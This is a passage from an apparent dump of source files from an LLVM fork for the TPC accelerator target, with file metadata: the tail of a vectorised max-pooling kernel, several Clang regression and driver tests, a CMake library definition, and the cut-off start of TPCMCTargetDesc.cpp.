v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n char256 ifmValue52 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n char256 ifmValue53 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] -= 5;\n ifmIndex1[2] -= 5;\n ifmIndex2[2] -= 5;\n ifmIndex3[2] -= 5;\n ifmIndex0[1] += 1;\n ifmIndex1[1] += 1;\n ifmIndex2[1] += 1;\n ifmIndex3[1] += 1;\n\n char256 mid00 = v_i8_max_v_v(ifmValue10, ifmValue20);\n char256 mid01 = v_i8_max_v_v(ifmValue11, ifmValue21);\n char256 mid02 = v_i8_max_v_v(ifmValue12, ifmValue22);\n char256 mid03 = v_i8_max_v_v(ifmValue13, ifmValue23);\n \n char256 mid10 = v_i8_max_v_v(ifmValue30, ifmValue40);\n char256 mid11 = v_i8_max_v_v(ifmValue31, ifmValue41);\n char256 mid12 = v_i8_max_v_v(ifmValue32, ifmValue42);\n char256 mid13 = v_i8_max_v_v(ifmValue33, ifmValue43);\n\n char256 v00 = v_i8_max_v_v(ifmValue00, mid00);\n char256 v01 = v_i8_max_v_v(ifmValue01, mid01);\n char256 v02 = v_i8_max_v_v(ifmValue02, mid02);\n char256 v03 = v_i8_max_v_v(ifmValue03, mid03);\n \n char256 v10 = v_i8_max_v_v(mid00, ifmValue30);\n char256 v11 = v_i8_max_v_v(mid01, ifmValue31);\n char256 v12 = v_i8_max_v_v(mid02, ifmValue32);\n char256 v13 = v_i8_max_v_v(mid03, ifmValue33);\n \n char256 v20 = v_i8_max_v_v(ifmValue20, mid10);\n char256 v21 = v_i8_max_v_v(ifmValue21, mid11);\n char256 v22 = v_i8_max_v_v(ifmValue22, mid12);\n char256 v23 = v_i8_max_v_v(ifmValue23, mid13);\n \n char256 v30 = v_i8_max_v_v(mid10, ifmValue50);\n char256 v31 = v_i8_max_v_v(mid11, ifmValue51);\n char256 v32 = v_i8_max_v_v(mid12, ifmValue52);\n char256 v33 = v_i8_max_v_v(mid13, ifmValue53);\n\n // column 1\n ifmValue00 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue01 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue02 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue03 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue10 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue11 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue12 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue13 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue20 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue20 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue21 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue22 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue23 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue30 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue31 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue32 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue33 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue40 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue41 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue42 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue43 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue50 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue51 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue52 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue53 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] -= 5;\n ifmIndex1[2] -= 5;\n ifmIndex2[2] -= 5;\n ifmIndex3[2] -= 5;\n ifmIndex0[1] += 1;\n ifmIndex1[1] += 1;\n ifmIndex2[1] += 1;\n ifmIndex3[1] += 1;\n\n mid00 = v_i8_max_v_v(ifmValue10, ifmValue20);\n mid01 = v_i8_max_v_v(ifmValue11, ifmValue21);\n mid02 = v_i8_max_v_v(ifmValue12, ifmValue22);\n mid03 = v_i8_max_v_v(ifmValue13, ifmValue23);\n \n mid10 = v_i8_max_v_v(ifmValue30, ifmValue40);\n mid11 = v_i8_max_v_v(ifmValue31, ifmValue41);\n mid12 = v_i8_max_v_v(ifmValue32, ifmValue42);\n mid13 = v_i8_max_v_v(ifmValue33, ifmValue43);\n\n char256 v40 = v_i8_max_v_v(ifmValue00, mid00);\n char256 v41 = v_i8_max_v_v(ifmValue01, mid01);\n char256 v42 = v_i8_max_v_v(ifmValue02, mid02);\n char256 v43 = v_i8_max_v_v(ifmValue03, mid03);\n \n char256 v50 = v_i8_max_v_v(mid00, ifmValue30);\n char256 v51 = v_i8_max_v_v(mid01, ifmValue31);\n char256 v52 = v_i8_max_v_v(mid02, ifmValue32);\n char256 v53 = v_i8_max_v_v(mid03, ifmValue33);\n \n char256 v60 = v_i8_max_v_v(ifmValue20, mid10);\n char256 v61 = v_i8_max_v_v(ifmValue21, mid11);\n char256 v62 = v_i8_max_v_v(ifmValue22, mid12);\n char256 v63 = v_i8_max_v_v(ifmValue23, mid13);\n \n char256 v70 = v_i8_max_v_v(mid10, ifmValue50);\n char256 v71 = v_i8_max_v_v(mid11, ifmValue51);\n char256 v72 = v_i8_max_v_v(mid12, ifmValue52);\n char256 v73 = v_i8_max_v_v(mid13, ifmValue53);\n\n // column 2\n ifmValue00 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue01 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue02 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue03 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue10 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue11 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue12 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue13 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue20 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue21 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue22 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue23 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue30 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue31 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue32 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue33 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue40 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue41 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue42 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue43 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue50 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue51 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue52 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue53 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] -= 5;\n ifmIndex1[2] -= 5;\n ifmIndex2[2] -= 5;\n ifmIndex3[2] -= 5;\n\n mid00 = v_i8_max_v_v(ifmValue10, ifmValue20);\n mid01 = v_i8_max_v_v(ifmValue11, ifmValue21);\n mid02 = v_i8_max_v_v(ifmValue12, ifmValue22);\n mid03 = v_i8_max_v_v(ifmValue13, ifmValue23);\n mid10 = v_i8_max_v_v(ifmValue30, ifmValue40);\n mid11 = v_i8_max_v_v(ifmValue31, ifmValue41);\n mid12 = v_i8_max_v_v(ifmValue32, ifmValue42);\n mid13 = v_i8_max_v_v(ifmValue33, ifmValue43);\n\n char256 v80 = v_i8_max_v_v(ifmValue00, mid00);\n char256 v81 = v_i8_max_v_v(ifmValue01, mid01);\n char256 v82 = v_i8_max_v_v(ifmValue02, mid02);\n char256 v83 = v_i8_max_v_v(ifmValue03, mid03);\n \n char256 v90 = v_i8_max_v_v(mid00, ifmValue30);\n char256 v91 = v_i8_max_v_v(mid01, ifmValue31);\n char256 v92 = v_i8_max_v_v(mid02, ifmValue32);\n char256 v93 = v_i8_max_v_v(mid03, ifmValue33);\n \n char256 va0 = v_i8_max_v_v(ifmValue20, mid10);\n char256 va1 = v_i8_max_v_v(ifmValue21, mid11);\n char256 va2 = v_i8_max_v_v(ifmValue22, mid12);\n char256 va3 = v_i8_max_v_v(ifmValue23, mid13);\n \n char256 vb0 = v_i8_max_v_v(mid10, ifmValue50);\n char256 vb1 = v_i8_max_v_v(mid11, ifmValue51);\n char256 vb2 = v_i8_max_v_v(mid12, ifmValue52);\n char256 vb3 = v_i8_max_v_v(mid13, ifmValue53);\n\n // extra 8 max ops to calculate 4 elements\n char256 v040 = v_i8_max_v_v(v00, v40);\n char256 v041 = v_i8_max_v_v(v01, v41);\n char256 v042 = v_i8_max_v_v(v02, v42);\n char256 v043 = v_i8_max_v_v(v03, v43);\n \n char256 v150 = v_i8_max_v_v(v10, v50);\n char256 v151 = v_i8_max_v_v(v11, v51);\n char256 v152 = v_i8_max_v_v(v12, v52);\n char256 v153 = v_i8_max_v_v(v13, v53);\n \n char256 v260 = v_i8_max_v_v(v20, v60);\n char256 v261 = v_i8_max_v_v(v21, v61);\n char256 v262 = v_i8_max_v_v(v22, v62);\n char256 v263 = v_i8_max_v_v(v23, v63);\n \n char256 v370 = v_i8_max_v_v(v30, v70);\n char256 v371 = v_i8_max_v_v(v31, v71);\n char256 v372 = v_i8_max_v_v(v32, v72);\n char256 v373 = v_i8_max_v_v(v33, v73);\n\n char256 m00 = v_i8_max_v_v(v040, v80);\n char256 m01 = v_i8_max_v_v(v041, v81);\n char256 m02 = v_i8_max_v_v(v042, v82);\n char256 m03 = v_i8_max_v_v(v043, v83);\n \n char256 m10 = v_i8_max_v_v(v150, v90);\n char256 m11 = v_i8_max_v_v(v151, v91);\n char256 m12 = v_i8_max_v_v(v152, v92);\n char256 m13 = v_i8_max_v_v(v153, v93);\n \n char256 m20 = v_i8_max_v_v(v260, va0);\n char256 m21 = v_i8_max_v_v(v261, va1);\n char256 m22 = v_i8_max_v_v(v262, va2);\n char256 m23 = v_i8_max_v_v(v263, va3);\n \n char256 m30 = v_i8_max_v_v(v370, vb0);\n char256 m31 = v_i8_max_v_v(v371, vb1);\n char256 m32 = v_i8_max_v_v(v372, vb2);\n char256 m33 = v_i8_max_v_v(v373, vb3);\n\n // storing first 4 elements\n i8_st_tnsr_i_v(ofmIndex0, ofm0, m00);\n i8_st_tnsr_i_v(ofmIndex1, ofm1, m01);\n i8_st_tnsr_i_v(ofmIndex2, ofm2, m02);\n i8_st_tnsr_i_v(ofmIndex3, ofm3, m03);\n ofmIndex0[2] += 1;\n ofmIndex1[2] += 1;\n ofmIndex2[2] += 1;\n ofmIndex3[2] += 1;\n i8_st_tnsr_i_v(ofmIndex0, ofm0, m10);\n i8_st_tnsr_i_v(ofmIndex1, ofm1, m11);\n i8_st_tnsr_i_v(ofmIndex2, ofm2, m12);\n i8_st_tnsr_i_v(ofmIndex3, ofm3, m13);\n ofmIndex0[2] += 1;\n ofmIndex1[2] += 1;\n ofmIndex2[2] += 1;\n ofmIndex3[2] += 1;\n i8_st_tnsr_i_v(ofmIndex0, ofm0, m20);\n i8_st_tnsr_i_v(ofmIndex1, ofm1, m21);\n i8_st_tnsr_i_v(ofmIndex2, ofm2, m22);\n i8_st_tnsr_i_v(ofmIndex3, ofm3, m23);\n ofmIndex0[2] += 1;\n ofmIndex1[2] += 1;\n ofmIndex2[2] += 1;\n ofmIndex3[2] += 1;\n i8_st_tnsr_i_v(ofmIndex0, ofm0, m30);\n i8_st_tnsr_i_v(ofmIndex1, ofm1, m31);\n i8_st_tnsr_i_v(ofmIndex2, ofm2, m32);\n i8_st_tnsr_i_v(ofmIndex3, ofm3, m33);\n ofmIndex0[2] -= 3;\n ofmIndex1[2] -= 3;\n ofmIndex2[2] -= 3;\n ofmIndex3[2] -= 3;\n\n for (int w = index_space_start[1] + 1 ; w < index_space_end[1] + 3 - padw; w += 1)\n {\n ifmIndex0[1] += 1;\n ifmIndex1[1] += 1;\n ifmIndex2[1] += 1;\n ifmIndex3[1] += 1;\n ofmIndex0[1] += 1;\n ofmIndex1[1] += 1;\n ofmIndex2[1] += 1;\n ofmIndex3[1] += 1;\n\n v00 = v_i8_mov_v(v40);\n v01 = v_i8_mov_v(v41);\n v02 = v_i8_mov_v(v42);\n v03 = v_i8_mov_v(v43);\n \n v10 = v_i8_mov_v(v50);\n v11 = v_i8_mov_v(v51);\n v12 = v_i8_mov_v(v52);\n v13 = v_i8_mov_v(v53);\n \n v20 = v_i8_mov_v(v60);\n v21 = v_i8_mov_v(v61);\n v22 = v_i8_mov_v(v62);\n v23 = v_i8_mov_v(v63);\n \n v30 = v_i8_mov_v(v70);\n v31 = v_i8_mov_v(v71);\n v32 = v_i8_mov_v(v72);\n v33 = v_i8_mov_v(v73);\n\n v40 = v_i8_mov_v(v80);\n v41 = v_i8_mov_v(v81);\n v42 = v_i8_mov_v(v82);\n v43 = v_i8_mov_v(v83);\n \n v50 = v_i8_mov_v(v90);\n v51 = v_i8_mov_v(v91);\n v52 = v_i8_mov_v(v92);\n v53 = v_i8_mov_v(v93);\n \n v60 = v_i8_mov_v(va0);\n v61 = v_i8_mov_v(va1);\n v62 = v_i8_mov_v(va2);\n v63 = v_i8_mov_v(va3);\n \n v70 = v_i8_mov_v(vb0);\n v71 = v_i8_mov_v(vb1);\n v72 = v_i8_mov_v(vb2);\n v73 = v_i8_mov_v(vb3);\n\n ifmValue00 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue01 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue02 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue03 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue10 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue11 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue12 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue13 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue20 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue21 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue22 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue23 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue30 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue31 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue32 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue33 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue40 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue41 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue42 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue43 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n ifmValue50 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n ifmValue51 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n ifmValue52 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n ifmValue53 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] -= 5;\n ifmIndex1[2] -= 5;\n ifmIndex2[2] -= 5;\n ifmIndex3[2] -= 5;\n\n mid00 = v_i8_max_v_v(ifmValue10, ifmValue20);\n mid01 = v_i8_max_v_v(ifmValue11, ifmValue21);\n mid02 = v_i8_max_v_v(ifmValue12, ifmValue22);\n mid03 = v_i8_max_v_v(ifmValue13, ifmValue23);\n \n mid10 = v_i8_max_v_v(ifmValue30, ifmValue40);\n mid11 = v_i8_max_v_v(ifmValue31, ifmValue41);\n mid12 = v_i8_max_v_v(ifmValue32, ifmValue42);\n mid13 = v_i8_max_v_v(ifmValue33, ifmValue43);\n\n v80 = v_i8_max_v_v(ifmValue00, mid00);\n v81 = v_i8_max_v_v(ifmValue01, mid01);\n v82 = v_i8_max_v_v(ifmValue02, mid02);\n v83 = v_i8_max_v_v(ifmValue03, mid03);\n \n v90 = v_i8_max_v_v(mid00, ifmValue30);\n v91 = v_i8_max_v_v(mid01, ifmValue31);\n v92 = v_i8_max_v_v(mid02, ifmValue32);\n v93 = v_i8_max_v_v(mid03, ifmValue33);\n \n va0 = v_i8_max_v_v(ifmValue20, mid10);\n va1 = v_i8_max_v_v(ifmValue21, mid11);\n va2 = v_i8_max_v_v(ifmValue22, mid12);\n va3 = v_i8_max_v_v(ifmValue23, mid13);\n \n vb0 = v_i8_max_v_v(mid10, ifmValue50);\n vb1 = v_i8_max_v_v(mid11, ifmValue51);\n vb2 = v_i8_max_v_v(mid12, ifmValue52);\n vb3 = v_i8_max_v_v(mid13, ifmValue53);\n\n v040 = v_i8_max_v_v(v00, v40);\n v041 = v_i8_max_v_v(v01, v41);\n v042 = v_i8_max_v_v(v02, v42);\n v043 = v_i8_max_v_v(v03, v43);\n \n v150 = v_i8_max_v_v(v10, v50);\n v151 = v_i8_max_v_v(v11, v51);\n v152 = v_i8_max_v_v(v12, v52);\n v153 = v_i8_max_v_v(v13, v53);\n \n v260 = v_i8_max_v_v(v20, v60);\n v261 = v_i8_max_v_v(v21, v61);\n v262 = v_i8_max_v_v(v22, v62);\n v263 = v_i8_max_v_v(v23, v63);\n \n v370 = v_i8_max_v_v(v30, v70);\n v371 = v_i8_max_v_v(v31, v71);\n v372 = v_i8_max_v_v(v32, v72);\n v373 = v_i8_max_v_v(v33, v73);\n\n m00 = v_i8_max_v_v(v040, v80);\n m01 = v_i8_max_v_v(v041, v81);\n m02 = v_i8_max_v_v(v042, v82);\n m03 = v_i8_max_v_v(v043, v83);\n \n m10 = v_i8_max_v_v(v150, v90);\n m11 = v_i8_max_v_v(v151, v91);\n m12 = v_i8_max_v_v(v152, v92);\n m13 = v_i8_max_v_v(v153, v93);\n \n m20 = v_i8_max_v_v(v260, va0);\n m21 = v_i8_max_v_v(v261, va1);\n m22 = v_i8_max_v_v(v262, va2);\n m23 = v_i8_max_v_v(v263, va3);\n \n m30 = v_i8_max_v_v(v370, vb0);\n m31 = v_i8_max_v_v(v371, vb1);\n m32 = v_i8_max_v_v(v372, vb2);\n m33 = v_i8_max_v_v(v373, vb3);\n\n i8_st_tnsr_i_v(ofmIndex0, ofm0, m00);\n i8_st_tnsr_i_v(ofmIndex1, ofm1, m01);\n i8_st_tnsr_i_v(ofmIndex2, ofm2, m02);\n i8_st_tnsr_i_v(ofmIndex3, ofm3, m03);\n ofmIndex0[2] += 1;\n ofmIndex1[2] += 1;\n ofmIndex2[2] += 1;\n ofmIndex3[2] += 1;\n i8_st_tnsr_i_v(ofmIndex0, ofm0, m10);\n i8_st_tnsr_i_v(ofmIndex1, ofm1, m11);\n i8_st_tnsr_i_v(ofmIndex2, ofm2, m12);\n i8_st_tnsr_i_v(ofmIndex3, ofm3, m13);\n ofmIndex0[2] += 1;\n ofmIndex1[2] += 1;\n ofmIndex2[2] += 1;\n ofmIndex3[2] += 1;\n i8_st_tnsr_i_v(ofmIndex0, ofm0, m20);\n i8_st_tnsr_i_v(ofmIndex1, ofm1, m21);\n i8_st_tnsr_i_v(ofmIndex2, ofm2, m22);\n i8_st_tnsr_i_v(ofmIndex3, ofm3, m23);\n ofmIndex0[2] += 1;\n ofmIndex1[2] += 1;\n ofmIndex2[2] += 1;\n ofmIndex3[2] += 1;\n i8_st_tnsr_i_v(ofmIndex0, ofm0, m30);\n i8_st_tnsr_i_v(ofmIndex1, ofm1, m31);\n i8_st_tnsr_i_v(ofmIndex2, ofm2, m32);\n i8_st_tnsr_i_v(ofmIndex3, ofm3, m33);\n ofmIndex0[2] -= 3;\n ofmIndex1[2] -= 3;\n ofmIndex2[2] -= 3;\n ofmIndex3[2] -= 3;\n }\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.6098360419273376, "alphanum_fraction": 0.6557376980781555, "avg_line_length": 37.125, "blob_id": "dbbb3bf7bdb92407a3d8dfb362603097b595a25f", "content_id": "6fa6621c5593f57ee9e2a699243c50c9d090d504", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 305, "license_type": "permissive", "max_line_length": 120, "num_lines": 8, "path": "/clang/test/RC99/regression/gaudi-56.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s \n\nvoid main(int dest) {\n float64 volatile __local *ptr = (float64 __local *)dest;\n\n float64 x = ptr[0];\n (*ptr++) = ~x; // expected-error{{invalid argument type 'float64' (vector of 64 'float' values) to unary expression}}\n}\n" }, { "alpha_fraction": 0.6006097793579102, "alphanum_fraction": 0.6219512224197388, "avg_line_length": 24.30769157409668, "blob_id": "497890038a4b78a9b759f501717e8db74bea8061", "content_id": "9f6e85c6d0cd5a9eff5ac066665344d090f82c0c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 328, "license_type": "permissive", "max_line_length": 73, "num_lines": 13, "path": "/clang/test/RC99/utils/gen_err-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\n#if defined(__dali__)\n#if defined(__gaudi__)\nint func_01(int x);\n#endif\n#endif\n\n// CHECK: line 4 column 3 error: nested 'if' directives are not supported\n// CHECK: > #if defined(__gaudi__)\n// CHECK: ^\n// CHECK: previous construct is at line 2\n// CHECK: > #if defined(__dali__)" }, { "alpha_fraction": 0.825352132320404, "alphanum_fraction": 0.825352132320404, "avg_line_length": 22.66666603088379, "blob_id": "d321d7d30b53a481222c9aafa12d5ee2c66a01c2", "content_id": "7952034728d466736204972ea567dbf738e74b71", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 355, "license_type": "permissive", "max_line_length": 47, "num_lines": 15, "path": "/llvm/lib/Target/TPC/MCTargetDesc/CMakeLists.txt", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "add_llvm_component_library(LLVMTPCDesc\n InstructionDB.cpp\n TPCMCTargetDesc.cpp\n TPCMCAsmInfo.cpp\n TPCAsmBackend.cpp\n TPCELFObjectWriter.cpp\n TPCMCCodeEmitter.cpp\n TPCMCInstrInfo.cpp\n TPCInstrDecomposer.cpp\n TPCInstrComposer.cpp\n TPCInstPrinter.cpp\n TPCMetadataSection.cpp\n TPCKernelInfo.cpp\n )\nadd_dependencies(LLVMTPCDesc TPCCommonTableGen)\n" }, { "alpha_fraction": 0.5560821294784546, "alphanum_fraction": 0.5987361669540405, "avg_line_length": 41.20000076293945, "blob_id": "3ac53cfa945559a3f431c323283c4a6db2eaeb58", "content_id": "e54f2236917e8838b8f6ef54f0092453a8a55143", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 633, "license_type": "permissive", "max_line_length": 101, "num_lines": 15, "path": "/clang/test/RC99/driver/driver-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -S -emit-llvm %s -o - -### 2>&1 | FileCheck -check-prefixes DEFAULT,COMMON %s\n// RUN: %tpc_clang -S -emit-llvm -O0 %s -o - -### 2>&1 | FileCheck -check-prefixes LEVEL_O0,COMMON %s\n// RUN: %tpc_clang -S -emit-llvm -O1 %s -o - -### 2>&1 | FileCheck -check-prefixes LEVEL_O1,COMMON %s\n// RUN: %tpc_clang -S -emit-llvm -O2 %s -o - -### 2>&1 | FileCheck -check-prefixes LEVEL_O2,COMMON %s\n// RUN: %tpc_clang -S -emit-llvm -O3 %s -o - -### 2>&1 | FileCheck -check-prefixes LEVEL_O3,COMMON %s\n\nvoid main() {\n}\n\n// COMMON-NOT: -vectorize\n// DEFAULT: -O2\n// LEVEL_O0: -O0\n// LEVEL_O1: -O1\n// LEVEL_O2: -O2\n// LEVEL_O3: -O2\n" }, { "alpha_fraction": 0.6422581076622009, "alphanum_fraction": 0.644303560256958, "avg_line_length": 33.188812255859375, "blob_id": "4e661aba5106a8a984171982a9d5f699ce88a4e0", "content_id": "dce9d508969b9f3db909d64f63e48a2ac4caa0d2", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4889, "license_type": "permissive", "max_line_length": 84, "num_lines": 143, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCMCTargetDesc.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCMCTargetDesc.cpp - TPC Target Descriptions -----------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file provides TPC specific target descriptions.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCTargetMachine.h\"\n#include \"TPCMCTargetDesc.h\"\n#include \"TPCMCAsmInfo.h\"\n#include \"TPCAsmBackend.h\"\n#include \"TPCInstPrinter.h\"\n#include \"llvm/MC/MCInstrInfo.h\"\n#include \"llvm/MC/MCRegisterInfo.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n\nusing namespace llvm;\n\nextern Target TheTPCTarget;\n\n#define GET_INSTRINFO_MC_DESC\n#include \"TPCGenInstrInfo.inc\"\n\n#define GET_SUBTARGETINFO_MC_DESC\n#include \"TPCGenSubtargetInfo.inc\"\n\n#define GET_REGINFO_MC_DESC\n#include \"TPCGenRegisterInfo.inc\"\n\n\nstatic MCAsmInfo *createTPCMCAsmInfo(const MCRegisterInfo &MRI,\n const Triple &TT,\n const MCTargetOptions &Options) {\n MCAsmInfo *MAI = new TPCMCAsmInfo(TT);\n// unsigned Reg = 0;\n// MRI.getDwarfRegNum(SP::O6, true);\n// DEBUG: MCCFIInstruction Inst = MCCFIInstruction::createDefCfa(nullptr, Reg, 0);\n// MAI->addInitialFrameState(Inst);\n return MAI;\n}\n\nstatic MCInstrInfo *createTPCMCInstrInfo() {\n MCInstrInfo *X = new MCInstrInfo();\n InitTPCMCInstrInfo(X);\n return X;\n}\n\nstatic MCRegisterInfo *createTPCMCRegisterInfo(const Triple &TT) {\n MCRegisterInfo *X = new MCRegisterInfo();\n InitTPCMCRegisterInfo(X, 32/*SP::O7*/);\n return X;\n}\n\nstatic MCSubtargetInfo *\ncreateTPCMCSubtargetInfo(const Triple &TT, StringRef CPU, StringRef FS) {\n std::string arch;\n if (CPU.empty())\n CPU = \"goya\";\n else if (CPU == \"dali\")\n CPU = \"goya\";\n\n if (CPU.equals(\"goya\") ||\n CPU.equals(\"gaudi\") )\n return createTPCMCSubtargetInfoImpl(TT, CPU, FS);\n\n return nullptr;\n}\n\n/*static MCTargetStreamer *\ncreateObjectTargetStreamer(MCStreamer 